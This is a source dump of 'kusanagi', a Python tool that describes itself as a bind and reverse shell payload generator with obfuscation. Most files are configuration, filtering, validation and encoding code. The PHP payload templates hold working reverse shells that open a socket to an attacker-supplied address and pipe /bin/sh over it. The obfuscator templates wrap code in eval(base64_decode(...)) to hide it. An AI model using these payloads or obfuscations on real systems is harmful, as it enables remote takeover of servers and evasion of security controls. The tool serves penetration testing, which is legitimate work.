25 | - name: Checkout repository
26 | uses: actions/checkout@v2
27 |
28 | # Initializes the CodeQL tools for scanning.
29 | - name: Initialize CodeQL
30 | uses: github/codeql-action/init@v1
31 | with:
32 | languages: ${{ matrix.language }}
33 | # If you wish to specify custom queries, you can do so here or in a config file.
34 | # By default, queries listed here will override any specified in a config file.
35 | # Prefix the list here with "+" to use these queries and those in the config file.
36 | # queries: ./path/to/local/query, your-org/your-repo/queries@main
37 |
38 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
39 | # If this step fails, then you should remove it and run the build manually (see below)
40 | - name: Autobuild
41 | uses: github/codeql-action/autobuild@v1
42 |
43 | # ℹ️ Command-line programs to run using the OS shell.
44 | # 📚 https://git.io/JvXDl
45 |
46 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
47 | # and modify them (or add more) to build your code if your project
48 | # uses a compiled language
49 |
50 | #- run: |
51 | # make bootstrap
52 | # make release
53 |
54 | - name: Perform CodeQL Analysis
55 | uses: github/codeql-action/analyze@v1
56 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/__init__.py:
--------------------------------------------------------------------------------
1 | """Payload module."""
2 | from typing import List, Dict, Any
3 | from ..filter import *
4 | from ..sorter import *
5 |
6 |
7 | def filter_items(items: List[Dict[str, Any]], filters: Dict[str, Any]) -> List[Dict[str, Any]]:
8 | """Returns filtered item list.
9 |
10 | Args:
11 | items: The items to filter.
12 | filters: The filter settings.
13 |
14 | Returns:
15 | List[dict]: List of filtered payload items.
16 | """
17 | if "exe" in filters:
18 | items = filter_executables(items, filters["exe"])
19 | if "lang" in filters:
20 | items = filter_languages(items, filters["lang"])
21 | if "shells" in filters:
22 | items = filter_shells(items, filters["shells"])
23 | if "os" in filters:
24 | items = filter_os(items, filters["os"])
25 | if "badchars" in filters:
26 | items = filter_badchars(items, filters["badchars"])
27 | if "maxlen" in filters:
28 | items = filter_maxlen(items, filters["maxlen"])
29 | return items
30 |
31 |
32 | def sort_items(items: List[Dict[str, Any]], sort: str) -> List[Dict[str, Any]]:
33 | """Return sorted item list.
34 |
35 | Args:
36 | items: The items to sort.
37 | sort: What method to sort by (default, rating, length).
38 |
39 | Returns:
40 | List[dict]: List of sorted payload items.
41 | """
42 | if sort == "rating":
43 | return sort_by_rating(items)
44 | if sort == "length":
45 | return sort_by_length(items)
46 | return sort_by_default(items)
47 |
48 |
49 | # def encode_items(items: List[dict], encoders: List[str]) -> List[dict]:
50 | # """Return payload items with encoded output item[x]["encoded"].
51 | #
52 | # Args:
53 | # items: The items to encode (add "encoded" key to).
54 | # encoders: List of encoder function names.
55 | #
56 | # Returns:
57 | # List[dict]: List of items with additional "encoded" key added.
58 | # """
59 | # for i, _ in enumerate(items):
60 | # for encoder in encoders:
61 | # items[i]["encoded"] = encode(items[i]["payload"], encoder)
62 | # return items
63 |
--------------------------------------------------------------------------------
/setup.cfg:
--------------------------------------------------------------------------------
1 | [metadata]
2 | description-file = README.md
3 |
4 | [bdist_wheel]
5 | universal=1
6 |
7 | # --------------------------------------------------------------------------------
8 | # Linter
9 | # --------------------------------------------------------------------------------
10 | [pycodestyle]
11 | max-line-length = 100
12 | statistics = True
13 | show-source = True
14 | show-pep8 = True
15 |
16 | [pydocstyle]
17 | convention = google
18 | # D107: Description is on the class level instead
19 | add_ignore = D107
20 |
21 | [flake8]
22 | max-line-length = 100
23 |
24 | [pylint]
25 | # useless-object-inheritance: don't lint useless-object-inheritance to stary Python2/3 compatible
26 | # bad-continuation: let Python Black take care of this
27 | # unidiomatic-typecheck: Need to check if int or bool and this doesnt work with isinstance()
28 | #disable = useless-object-inheritance, bad-continuation, unidiomatic-typecheck, duplicate-code, invalid-name
29 | disable = duplicate-code, invalid-name, dangerous-default-value
30 | max-branches = 25
31 | max-statements = 100
32 | max-args = 11
33 | max-attributes = 10
34 | max-locals = 22
35 | # max-module-lines = 7000
36 | # max-bool-expr = 6
37 | # max-returns = 11
38 | # min-public-methods = 1
39 | # max-nested-blocks = 7
40 | # List of note tags to take in consideration, separated by a comma.
41 | #notes=FIXME,TODO
42 | notes=FIXME
43 |
44 | [mypy]
45 | # Display
46 | show_error_context = True
47 | show_column_numbers = True
48 | show_error_codes = True
49 | pretty = True
50 | color_output = True
51 | error_summary = True
52 |
53 | # Meta
54 | warn_unused_configs = True
55 | incremental = False
56 | show_traceback = True
57 |
58 | # Mode
59 | strict_optional = True
60 | show_none_errors = True
61 |
62 | # Allow
63 | disallow_any_expr = False
64 | disallow_any_explicit = False
65 | disallow_any_decorated = False
66 |
67 | # Deny
68 | disallow_any_unimported = True
69 | disallow_any_generics = True
70 | disallow_subclassing_any = True
71 | disallow_untyped_calls = True
72 | disallow_untyped_defs = True
73 | disallow_incomplete_defs = True
74 | check_untyped_defs = True
75 | disallow_untyped_decorators = True
76 | warn_redundant_casts = True
77 | warn_unused_ignores = True
78 | warn_no_return = True
79 | warn_return_any = True
80 | warn_unreachable = True
81 | allow_untyped_globals = False
82 | allow_redefinition = False
83 |
84 | [bandit]
85 | # B101: asserts
86 | # B404: blacklist (this is an offensive tool overall)
87 | skips = B101,B404
88 |
--------------------------------------------------------------------------------
/kusanagi/__init__.py:
--------------------------------------------------------------------------------
1 | """Main file for kusanagi."""
2 |
3 | from typing import Callable, Any
4 |
5 | import sys
6 |
7 | from .args import *
8 |
9 | from .core.output import output_payloads
10 | from .core.payload import filter_items
11 | from .core.payload import sort_items
12 |
13 | from .core.payload import code
14 | from .core.payload import cmd
15 |
16 |
17 | def main() -> None:
18 | """Run main entrypoint."""
19 | cmd_args = get_args()
20 |
21 | print(cmd_args)
22 |
23 | output_options = {
24 | "quick": cmd_args.quick,
25 | "copy": cmd_args.copy,
26 | "info": None,
27 | }
28 |
29 | # TODO: Make this an option via command line to select bind-/reverse shell
30 | payload = {
31 | "payload": cmd_args.payload,
32 | "type": "revshell",
33 | "revshell": {
34 | "addr": cmd_args.addr,
35 | "port": str(cmd_args.port),
36 | },
37 | }
38 |
39 | # Output code
40 | if cmd_args.payload == "code":
41 | filters = {
42 | "lang": cmd_args.lang,
43 | "shells": cmd_args.shell,
44 | "os": cmd_args.os,
45 | "badchars": cmd_args.badchars,
46 | "maxlen": cmd_args.maxlen,
47 | "obfuscate": cmd_args.obf,
48 | }
49 |
50 | items = code.get_items(
51 | "revshell",
52 | cmd_args.obf,
53 | {
54 | "addr": cmd_args.addr,
55 | "port": str(cmd_args.port),
56 | },
57 | )
58 | items = filter_items(items, filters)
59 | items = sort_items(items, "default")
60 | output_payloads(items, payload, cmd_args.enc, output_options)
61 |
62 | # Output commands
63 | if cmd_args.payload == "cmd":
64 | filters = {
65 | "exe": cmd_args.exe,
66 | "shells": cmd_args.shell,
67 | "os": cmd_args.os,
68 | "badchars": cmd_args.badchars,
69 | "maxlen": cmd_args.maxlen,
70 | "obfuscate": cmd_args.obf,
71 | }
72 | items = cmd.get_items(
73 | "revshell",
74 | cmd_args.obf,
75 | {
76 | "addr": cmd_args.addr,
77 | "port": str(cmd_args.port),
78 | },
79 | )
80 | items = filter_items(items, filters)
81 | items = sort_items(items, "default")
82 | output_payloads(items, payload, cmd_args.enc, output_options)
83 |
84 |
85 | if __name__ == "__main__":
86 | main()
87 |
--------------------------------------------------------------------------------
/kusanagi/core/parser/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to parse placeholders and functions that are defined in yaml templates."""
2 |
3 | from typing import List, Dict, Any
4 | import re
5 | from .function import run
6 |
7 |
8 | def parse(items: List[Dict[str, Any]], placeholders: Dict[str, str]) -> List[Dict[str, Any]]:
9 | """Returns items parsed with placeholders, variables and functions.
10 |
11 | Args:
12 | items: List of items to parse
13 | placeholders: placeholders to be replaced in 'payload' key
14 |
15 | Returns:
16 | List of parsed items.
17 | """
18 | for item in items:
19 | # Replace placeholder
20 | item["payload"] = _parse_placeholder(item["payload"], placeholders)
21 |
22 | # Compress payload
23 | item["payload"] = _compress(item["payload"])
24 |
25 | # TODO: permutate variables
26 |
27 | # Apply functions
28 | item["payload"] = _parse_functions(item["payload"])
29 |
30 | return items
31 |
32 |
33 | def _parse_placeholder(data: str, placeholders: Dict[str, str]) -> str:
34 | """Returns data with placeholders replaced."""
35 | # Replace placeholder
36 | for key, val in placeholders.items():
37 | data = data.replace(key, val)
38 | return data
39 |
40 |
41 | def _parse_functions(data: str) -> str:
42 | """Replaces to with their function outputs."""
43 | for num in range(0, 10):
44 | pattern = fr"((.+?)<\/FUN:{num}:\2>)"
45 | reg = re.compile(pattern, flags=re.MULTILINE | re.DOTALL)
46 | ret = reg.findall(data)
47 |
48 | for match in ret:
49 | repl = match[0] # Whole string to replace
50 | func = match[1] # Function name, e.g. base64
51 | find = match[2] # String in between function delimiter
52 | data = data.replace(repl, run(find, func))
53 | return data
54 |
55 |
56 | def _compress(data: str) -> str:
57 | """Trims whitepaces and newlines from a payload to make it a small as possible."""
58 | pattern_rgt = r"\s*$" # Clean left of string
59 | pattern_lft = r"^\s*" # Clean right of string
60 | pattern_all = r"\s\s" # Two whitespaces in a row
61 | lines = []
62 | for line in data.splitlines():
63 | line = re.sub(pattern_rgt, "", line)
64 | line = re.sub(pattern_lft, "", line)
65 | line = re.sub(pattern_all, " ", line)
66 | lines.append(line)
67 |
68 | temp = "".join(lines)
69 |
70 | # Repeat until not further possible
71 | if temp != data:
72 | return _compress(temp)
73 | return temp
74 |
--------------------------------------------------------------------------------
/kusanagi/files/code/revshells/php.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: revshell
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | - name: php-fsockopen-exec
18 | desc: description
19 | info:
20 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too.
21 | - exec() might be disabled via php.ini
22 | rating: 1
23 | code:
24 | language: php
25 | requires:
26 | version: [5, 6, 7, 8]
27 | commands: ["sh"] # Used shell commands
28 | functions: ["fsockopen", "exec"] # Used language functions
29 | modules: [] # Used language modules
30 | os: ["bsd", "linux", "mac"] # Works on these operating systems
31 | revshell:
32 | proto: tcp
33 | shell: sh
34 | command: "/bin/sh"
35 | payload: |
36 | $s=fsockopen("__ADDR__",__PORT__);
37 | exec("/bin/sh<&3 >&3 2>&3");
38 |
39 |
40 | - name: php-fsockopen-passthru
41 | desc: description
42 | info:
43 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too.
44 | - passthru() might be disabled via php.ini
45 | rating: 1
46 | code:
47 | language: php
48 | requires:
49 | version: [5, 6, 7, 8]
50 | commands: ["sh"] # Used shell commands
51 | functions: ["fsockopen", "passthru"] # Used language functions
52 | modules: [] # Used language modules
53 | os: ["bsd", "linux", "mac"] # Works on these operating systems
54 | revshell:
55 | proto: tcp
56 | shell: sh
57 | command: "/bin/sh"
58 | payload: |
59 | $s=fsockopen("__ADDR__",__PORT__);
60 | passthru("/bin/sh<&3 >&3 2>&3");
61 |
62 |
63 | - name: php-fsockopen-popen
64 | desc: description
65 | info:
66 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too.
67 | - popen() might be disabled via php.ini
68 | rating: 1
69 | code:
70 | language: php
71 | requires:
72 | version: [5, 6, 7, 8]
73 | commands: ["sh"] # Used shell commands
74 | functions: ["fsockopen", "popen"]
75 | modules: []
76 | os: ["bsd", "linux", "mac"] # Works on these operating systems
77 | revshell:
78 | proto: tcp
79 | shell: sh
80 | command: "/bin/sh"
81 | payload: |
82 | $s=fsockopen("__ADDR__",__PORT__);
83 | popen("/bin/sh<&3 >&3 2>&3","r");
84 |
--------------------------------------------------------------------------------
/kusanagi/core/loader/yaml/validator.py:
--------------------------------------------------------------------------------
1 | """Validate a yaml file."""
2 |
3 | from typing import Dict, Any
4 | import re
5 |
6 |
7 | def _validate_invalid_keys(section: str, data: Dict[str, Any], validator: Dict[str, Any]) -> None:
8 | for key in data:
9 | # Check if defined key should not be defined
10 | if key not in validator:
11 | raise KeyError(f"[CONFIG-FAIL] {section} invalid key defined: {key}")
12 |
13 | # Recurse into childs
14 | if validator[key]["childs"]:
15 | if isinstance(data[key], dict):
16 | _validate_invalid_keys(section + f"[{key}]", data[key], validator[key]["childs"])
17 | if isinstance(data[key], list):
18 | for index, value in enumerate(data[key]):
19 | _validate_invalid_keys(
20 | section + f"[{key}][{index}]", value, validator[key]["childs"]
21 | )
22 |
23 |
24 | def _validate_requirements(section: str, data: Dict[str, Any], validator: Dict[str, Any]) -> None:
25 | """Checks if data meets all requirements from validator dict.
26 |
27 | This is a forward validation, where it will be ensured that data contains
28 | required keys of correct type and correct values.
29 |
30 | Args:
31 | section (str): Name of the current yaml/dict section.
32 | data (Dict[Any, Any]): Yaml dict to validate.
33 | validator (Dict[Any, Any]): Yaml dict used to validate the yaml_dict against.
34 |
35 | Raises:
36 | KeyError: If data is invalid according to its validator definition.
37 | """
38 | for key in validator:
39 |
40 | # Check Required
41 | if validator[key]["required"] and key not in data:
42 | raise KeyError(f"[CONFIG-FAIL] {section}[{key}] not defined, but required")
43 |
44 | # Check Type
45 | if key in data and not isinstance(data[key], validator[key]["type"]):
46 | req_type = validator[key]["type"]
47 | has_type = type(data[key])
48 | raise KeyError(
49 | f"[CONFIG-FAIL] {section}[{key}] must be of type: {req_type} (is: {has_type})"
50 | )
51 |
52 | # Check Allowed value by Regex
53 | if key in data and "allowed" in validator[key]:
54 | regex = validator[key]["allowed"]
55 | value = str(data[key])
56 | if not re.findall(regex, value):
57 | raise KeyError(f"[CONFIG-FAIL] {section}[{key}] = '{value}' must match: '{regex}'")
58 |
59 | # Recurse into childs
60 | if key in data and validator[key]["childs"]:
61 | if isinstance(data[key], dict):
62 | _validate_requirements(section + f"[{key}]", data[key], validator[key]["childs"])
63 | if isinstance(data[key], list):
64 | for index, value in enumerate(data[key]):
65 | _validate_requirements(
66 | section + f"[{key}][{index}]", data[key][index], validator[key]["childs"]
67 | )
68 |
--------------------------------------------------------------------------------
/kusanagi/core/filter/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to filter payloads on their given options."""
2 |
3 | from typing import List, Dict, Any
4 |
5 |
6 | def filter_executables(items: List[Dict[str, Any]], executables: List[str]) -> List[Dict[str, Any]]:
7 | """Returns only payloads for given list of executables."""
8 | if not executables:
9 | return items
10 |
11 | filtered = []
12 | for item in items:
13 | if item["cmd"]["executable"] in executables:
14 | filtered.append(item)
15 | return filtered
16 |
17 |
18 | def filter_languages(items: List[Dict[str, Any]], languages: List[str]) -> List[Dict[str, Any]]:
19 | """Returns only payloads for given list of languages."""
20 | if not languages:
21 | return items
22 |
23 | filtered = []
24 | for item in items:
25 | if "code" in item:
26 | if item["code"]["language"] in languages:
27 | filtered.append(item)
28 | return filtered
29 |
30 |
31 | def filter_shells(items: List[Dict[str, Any]], shells: List[str]) -> List[Dict[str, Any]]:
32 | """Returns only payloads which work when executed on specific underlying shells."""
33 | if not shells:
34 | return items
35 |
36 | filtered = []
37 | for item in items:
38 | has_shell = False
39 | for shell in shells:
40 | if "revshell" in item and shell in item["revshell"]["shell"]:
41 | has_shell = True
42 | if "bindshell" in item and shell in item["bindshell"]["shell"]:
43 | has_shell = True
44 | if has_shell:
45 | filtered.append(item)
46 | return filtered
47 |
48 |
49 | def filter_os(items: List[Dict[str, Any]], os: str) -> List[Dict[str, Any]]:
50 | """Returns only payloads for a given os."""
51 | if not os:
52 | return items
53 |
54 | filtered = []
55 | for item in items:
56 | if "cmd" in item and os in item["cmd"]["requires"]["os"]:
57 | filtered.append(item)
58 | if "code" in item and os in item["code"]["requires"]["os"]:
59 | filtered.append(item)
60 | if "file" in item and os in item["file"]["requires"]["os"]:
61 | filtered.append(item)
62 | return filtered
63 |
64 |
65 | def filter_badchars(items: List[Dict[str, Any]], badchars: str) -> List[Dict[str, Any]]:
66 | """Returns only payloads without specified badcharss."""
67 | if not badchars:
68 | return items
69 |
70 | filtered = []
71 | for item in items:
72 | has_badchar = False
73 | for badchar in badchars:
74 | if badchar in item["payload"]:
75 | has_badchar = True
76 | if not has_badchar:
77 | filtered.append(item)
78 | return filtered
79 |
80 |
81 | def filter_maxlen(items: List[Dict[str, Any]], maxlen: int) -> List[Dict[str, Any]]:
82 | """Returns only payloads not longer than maxlen."""
83 | if maxlen <= 0:
84 | return items
85 |
86 | filtered = []
87 | for item in items:
88 | if len(item["payload"]) <= maxlen:
89 | filtered.append(item)
90 | return filtered
91 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/code/obfuscator/validator.py:
--------------------------------------------------------------------------------
1 | """This file holds the payload yaml validator/definition template."""
2 |
3 | VALIDATOR = {
4 | "specification": {
5 | "type": dict,
6 | "required": True,
7 | "childs": {
8 | "payload": {
9 | "type": str,
10 | "required": True,
11 | "allowed": "^(code)$",
12 | "childs": {},
13 | },
14 | "type": {
15 | "type": str,
16 | "required": True,
17 | "allowed": "^(obfuscator)$",
18 | "childs": {},
19 | },
20 | "version": {
21 | "type": str,
22 | "required": True,
23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$",
24 | "childs": {},
25 | },
26 | },
27 | },
28 | "items": {
29 | "type": list,
30 | "required": True,
31 | "childs": {
32 | "name": {
33 | "type": str,
34 | "required": True,
35 | "allowed": "^(.+)$",
36 | "childs": {},
37 | },
38 | "desc": {
39 | "type": str,
40 | "required": True,
41 | "allowed": "^(.+)$",
42 | "childs": {},
43 | },
44 | "info": {
45 | "type": list,
46 | "required": True,
47 | "childs": {},
48 | },
49 | "code": {
50 | "type": dict,
51 | "required": True,
52 | "childs": {
53 | "language": {
54 | "type": str,
55 | "required": True,
56 | "allowed": "^(.+)$",
57 | "childs": {},
58 | },
59 | "requires": {
60 | "type": dict,
61 | "required": True,
62 | "childs": {
63 | "version": {
64 | "type": list,
65 | "required": True,
66 | "childs": {},
67 | },
68 | "commands": {
69 | "type": list,
70 | "required": True,
71 | "childs": {},
72 | },
73 | "functions": {
74 | "type": list,
75 | "required": True,
76 | "childs": {},
77 | },
78 | "modules": {
79 | "type": list,
80 | "required": True,
81 | "childs": {},
82 | },
83 | "os": {
84 | "type": list,
85 | "required": True,
86 | "childs": {},
87 | },
88 | },
89 | },
90 | },
91 | },
92 | "payload": {
93 | "type": str,
94 | "required": True,
95 | "allowed": "(.*__CODE__.*)",
96 | "childs": {},
97 | },
98 | },
99 | },
100 | }
101 |
--------------------------------------------------------------------------------
/kusanagi/core/parser/function.py:
--------------------------------------------------------------------------------
1 | """Provides template functions."""
2 |
3 | import base64
4 | import re
5 | import html
6 | import urllib.parse
7 |
8 |
9 | # --------------------------------------------------------------------------------------------------
10 | # Public functions
11 | # --------------------------------------------------------------------------------------------------
12 | def run(data: str, function_name: str) -> str:
13 | """Runs a function on data and returns function output.
14 |
15 | Args:
16 | data (str): The string to run the function against.
17 | function_name (str): The function to run.
18 |
19 | Returns:
20 | str: Result of the function applied on data.
21 | """
22 | func = globals()["_get_" + function_name]
23 | data = func(data)
24 | return data
25 |
26 |
27 | # --------------------------------------------------------------------------------------------------
28 | # Available Template Functions
29 | # --------------------------------------------------------------------------------------------------
30 | def _get_len(data: str) -> str:
31 | """Returns the length of data."""
32 | return str(len(data))
33 |
34 |
35 | def _get_url(data: str) -> str:
36 | """URL encodes data."""
37 | return urllib.parse.quote(data, safe="")
38 |
39 |
40 | def _get_urlplus(data: str) -> str:
41 | """URL encodes data and converts spaces to a '+' sign."""
42 | return urllib.parse.quote_plus(data, safe="")
43 |
44 |
45 | def _get_html(data: str) -> str:
46 | """Html entity encodes data."""
47 | return html.escape(data)
48 |
49 |
50 | def _get_hex(data: str) -> str:
51 | r"""Returns '\xff' hex representation of data."""
52 | temp = []
53 | for char in data:
54 | temp.append(hex(ord(char)).replace("0x", "\\x"))
55 | return "".join(temp)
56 |
57 |
58 | def _get_hexesc(data: str) -> str:
59 | r"""Returns '\\xff' escaped-hex representation of data."""
60 | temp = []
61 | for char in data:
62 | temp.append(hex(ord(char)).replace("0x", "\\\\x"))
63 | return "".join(temp)
64 |
65 |
66 | def _get_hex0x(data: str) -> str:
67 | r"""Returns '0xff' 0-prefixed hex representation of data."""
68 | temp = []
69 | for char in data:
70 | temp.append(hex(ord(char)))
71 | return "".join(temp)
72 |
73 |
74 | def _get_hexplain(data: str) -> str:
75 | """Returns hex values of data without any prefixes."""
76 | temp = []
77 | for char in data:
78 | temp.append(hex(ord(char)).replace("0x", ""))
79 | return "".join(temp)
80 |
81 |
82 | def _get_base64(data: str) -> str:
83 | """Base 64 encodes data."""
84 | ebytes = base64.b64encode(data.encode("utf-8"))
85 | estring = str(ebytes, "utf-8")
86 | return estring
87 |
88 |
89 | def _get_base64pad(data: str) -> str:
90 | """Base64 encodes with space padding to ensure output only contains [a-zA-Z0-9+]."""
91 | pattern = r"[^a-zA-Z0-9\+]"
92 | regex = re.compile(pattern)
93 | while True:
94 | ebytes = base64.b64encode(data.encode("utf-8"))
95 | estring = str(ebytes, "utf-8")
96 | if not regex.findall(estring):
97 | break
98 | # Pad with trailing space and try again to eliminate base64 pad chars
99 | data = data + " "
100 |
101 | return estring
102 |
103 |
104 | def _get_2xbase64pad(data: str) -> str:
105 | """Base64 encodes twice with space padding to ensure output only contains [a-zA-Z0-9]."""
106 | pattern = r"[^a-zA-Z0-9]"
107 | regex = re.compile(pattern)
108 | while True:
109 | # First run
110 | ebytes = base64.b64encode(data.encode("utf-8"))
111 | estring = str(ebytes, "utf-8")
112 |
113 | # Second run
114 | ebytes = base64.b64encode(estring.encode("utf-8"))
115 | estring = str(ebytes, "utf-8")
116 |
117 | if not regex.findall(estring):
118 | break
119 | # Pad with trailing space and try again to eliminate base64 pad/special chars
120 | data = data + " "
121 |
122 | return estring
123 |
--------------------------------------------------------------------------------
/kusanagi/files/code/obfuscators/php.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ###
4 | ### Meta definitions
5 | ###
6 | specification:
7 | payload: code
8 | type: obfuscator
9 | version: 0.0.1
10 |
11 |
12 | ###
13 | ### Items
14 | ###
15 | items:
16 |
17 | # --------------------------------------------------------------------------------
18 | # php-eval-base64
19 | # --------------------------------------------------------------------------------
20 | - name: php-eval-base64
21 | desc: desc
22 | info: []
23 | code:
24 | language: php
25 | requires:
26 | version: [5, 6, 7, 8]
27 | commands: []
28 | functions: ["eval", "base64_decode"]
29 | modules: []
30 | os: ["bsd", "linux", "mac", "solaris", "windows"]
31 | payload: |
32 | eval(base64_decode("__CODE__"));
33 |
34 | - name: php-eval-base64-noquote
35 | desc: desc
36 | info:
37 | - Does not work on PHP 8.0 anymore
38 | code:
39 | language: php
40 | requires:
41 | version: [5, 6, 7]
42 | commands: []
43 | functions: ["eval", "base64_decode"]
44 | modules: []
45 | os: ["bsd", "linux", "mac", "solaris", "windows"]
46 | payload: |
47 | eval(base64_decode(__CODE__));
48 |
49 |
50 | # --------------------------------------------------------------------------------
51 | # php-eval-base64-base64
52 | # --------------------------------------------------------------------------------
53 | - name: php-eval-base64-base64
54 | desc: desc
55 | info: []
56 | code:
57 | language: php
58 | requires:
59 | version: [5, 6, 7, 8]
60 | commands: []
61 | functions: ["eval", "base64_decode"]
62 | modules: []
63 | os: ["bsd", "linux", "mac", "solaris", "windows"]
64 | payload: |
65 | eval(base64_decode(base64_decode("__CODE__")));
66 |
67 | - name: php-eval-base64-base64-noquote
68 | desc: desc
69 | info:
70 | - Does not work on PHP 8.0 anymore
71 | code:
72 | language: php
73 | requires:
74 | version: [5, 6, 7]
75 | commands: []
76 | functions: ["eval", "base64_decode"]
77 | modules: []
78 | os: ["bsd", "linux", "mac", "solaris", "windows"]
79 | payload: |
80 | eval(base64_decode(base64_decode(__CODE__)));
81 |
82 |
83 | # --------------------------------------------------------------------------------
84 | # php-eval-hex
85 | # --------------------------------------------------------------------------------
86 | - name: php-eval-pack-hex
87 | desc: desc
88 | info: []
89 | code:
90 | language: php
91 | requires:
92 | version: [5, 6, 7, 8]
93 | commands: []
94 | functions: ["eval", "pack"]
95 | modules: []
96 | os: ["bsd", "linux", "mac", "solaris", "windows"]
97 | payload: |
98 | eval(pack("H__CODE__","__CODE__"));
99 |
100 |
101 | # --------------------------------------------------------------------------------
102 | # php-base64-include
103 | # --------------------------------------------------------------------------------
104 | # TODO: This seems to be hang up connection as soon as it connected initially.
105 | # - name: php-base64-include
106 | # desc: desc
107 | # info: []
108 | # code:
109 | # language: php
110 | # requires:
111 | # version: [5, 6, 7, 8]
112 | # commands: []
113 | # functions: ["empnam", "base64_decode", "fopen", "fwrite", "include", "sys_get_temp_dir"]
114 | # modules: []
115 | # os: ["bsd", "linux", "mac", "solaris", "windows"]
116 | # payload: |
117 | # $f=tempnam(sys_get_temp_dir(),"e");
118 | # $h=fopen($f,base64_decode("w+"));
119 | # fwrite($h,base64_decode(""));
120 | # include($f);
121 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | """Pip configuration."""
2 | # https://github.com/pypa/sampleproject/blob/main/setup.py
3 |
4 | from setuptools import setup
5 |
6 | with open("README.md", "r") as fp:
7 | long_description = fp.read()
8 |
9 | with open("requirements.txt", "r") as fp:
10 | requirements = fp.read()
11 |
12 | setup(
13 | name="kusanagi",
14 | version="0.0.5",
15 | packages=[
16 | "kusanagi",
17 | "kusanagi.core",
18 | "kusanagi.core.filter",
19 | "kusanagi.core.helper",
20 | "kusanagi.core.loader",
21 | "kusanagi.core.loader.template",
22 | "kusanagi.core.loader.yaml",
23 | "kusanagi.core.output",
24 | "kusanagi.core.output.clipboard",
25 | "kusanagi.core.output.encoder",
26 | "kusanagi.core.output.printer",
27 | "kusanagi.core.parser",
28 | "kusanagi.core.payload",
29 | "kusanagi.core.payload.cmd",
30 | "kusanagi.core.payload.cmd.obfuscator",
31 | "kusanagi.core.payload.cmd.revshell",
32 | "kusanagi.core.payload.code",
33 | "kusanagi.core.payload.code.obfuscator",
34 | "kusanagi.core.payload.code.revshell",
35 | "kusanagi.core.sorter",
36 | ],
37 | package_data={
38 | "kusanagi": [
39 | "files/cmd/obfuscators/bash-gnu.yml",
40 | "files/cmd/revshells/bash.yml",
41 | "files/code/obfuscators/bash.yml",
42 | "files/code/obfuscators/php.yml",
43 | "files/code/obfuscators/python.yml",
44 | "files/code/revshells/bash.yml",
45 | "files/code/revshells/php.yml",
46 | "files/code/revshells/python.yml",
47 | "files/code/revshells/ruby.yml",
48 | ],
49 | },
50 | entry_points={
51 | "console_scripts": [
52 | # cmd = package[.module]:func
53 | "kusa=kusanagi:main",
54 | ],
55 | },
56 | install_requires=requirements,
57 | description="Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support.",
58 | license="MIT",
59 | long_description=long_description,
60 | long_description_content_type="text/markdown",
61 | keywords=["payload", "bind shell", "reverse shell", "generator", "shell", "kusanagi"],
62 | author="cytopia",
63 | author_email="cytopia@everythingcli.org",
64 | url="https://github.com/cytopia/kusanagi",
65 | project_urls={
66 | "Source Code": "https://github.com/cytopia/kusanagi",
67 | "Bug Tracker": "https://github.com/cytopia/kusanagi/issues",
68 | },
69 | python_requires=">=3.6",
70 | classifiers=[
71 | # https://pypi.org/classifiers/
72 | #
73 | # How mature is this project
74 | "Development Status :: 3 - Alpha",
75 | # How does it run
76 | "Environment :: Console",
77 | # Indicate who your project is intended for
78 | "Intended Audience :: Developers",
79 | "Intended Audience :: Information Technology",
80 | "Intended Audience :: Science/Research",
81 | "Intended Audience :: System Administrators",
82 | # License
83 | "License :: OSI Approved :: MIT License",
84 | # Where does it run
85 | "Operating System :: OS Independent",
86 | # Specify the Python versions you support here. In particular, ensure
87 | # that you indicate whether you support Python 2, Python 3 or both.
88 | "Programming Language :: Python :: 3 :: Only",
89 | "Programming Language :: Python :: 3.6",
90 | "Programming Language :: Python :: 3.7",
91 | "Programming Language :: Python :: 3.8",
92 | "Programming Language :: Python :: 3.9",
93 | "Programming Language :: Python :: Implementation :: CPython",
94 | "Programming Language :: Python :: Implementation :: PyPy",
95 | # Project topics
96 | "Topic :: Internet",
97 | "Topic :: Security",
98 | "Topic :: System :: Shells",
99 | "Topic :: System :: Systems Administration",
100 | "Topic :: Terminals",
101 | "Topic :: Utilities",
102 | # Typed
103 | "Typing :: Typed",
104 | ],
105 | )
106 |
--------------------------------------------------------------------------------
/kusanagi/core/payload/code/revshell/__init__.py:
--------------------------------------------------------------------------------
1 | """Module to load reverse shell payloads."""
2 |
3 | from typing import List, Dict, Any
4 | from ....helper import intersect
5 | from ....helper import unique
6 | from ....loader import load
7 | from ....parser import parse
8 | from ..obfuscator import *
9 | from .validator import VALIDATOR
10 |
11 |
12 | CODE_FILES = [
13 | "bash.yml",
14 | "php.yml",
15 | "python.yml",
16 | "ruby.yml",
17 | ]
18 |
19 | CODE_SUBDIRS = ["code", "revshells"]
20 |
21 |
22 | def get_revshells(addr: str, port: str, obfuscated: bool) -> List[Dict[str, Any]]:
23 | """Returns list of reverse shell payloads."""
24 | # Final items
25 | items = []
26 |
27 | placeholders = {
28 | "__ADDR__": addr,
29 | "__PORT__": port,
30 | }
31 |
32 | # Get parsed items
33 | codes = load(CODE_FILES, CODE_SUBDIRS, VALIDATOR)
34 | codes = parse(codes, placeholders)
35 |
36 | # Loop over items
37 | for code in codes:
38 |
39 | # Add normal code item
40 | items.append(_get_revshell_item(code, False))
41 |
42 | # Add obfuscated items as well?
43 | if obfuscated:
44 | for obfuscator in get_obfuscators():
45 | # Check for same language (code <-> obfuscator)
46 | if code["code"]["language"] == obfuscator["code"]["language"]:
47 | # Check language version compatibility
48 | # Only obfuscate if versions (e.g. Python3 and Python3) are compatible
49 | # Also obfuscate if both have no version specified.
50 | code_v = code["code"]["requires"]["version"]
